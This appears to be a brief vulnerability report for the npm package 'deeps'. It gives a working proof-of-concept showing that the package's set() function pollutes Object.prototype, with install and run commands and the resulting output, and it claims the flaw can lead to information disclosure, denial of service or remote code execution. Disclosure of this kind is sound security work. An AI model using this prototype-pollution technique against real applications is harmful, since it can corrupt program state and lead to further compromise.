deeps
is vulnerable to Prototype Pollution
.
// poc.js
const { set } = require('deeps')
console.log('Before: ', {}.polluted)
set(constructor.prototype, 'polluted', true)
console.log('After: ', {}.polluted)
npm i deeps # install vulnerable package
node poc.js # run the PoC
Before: undefined
After: true
Prototype Pollution
leads to Information Disclosure/DoS/RCE.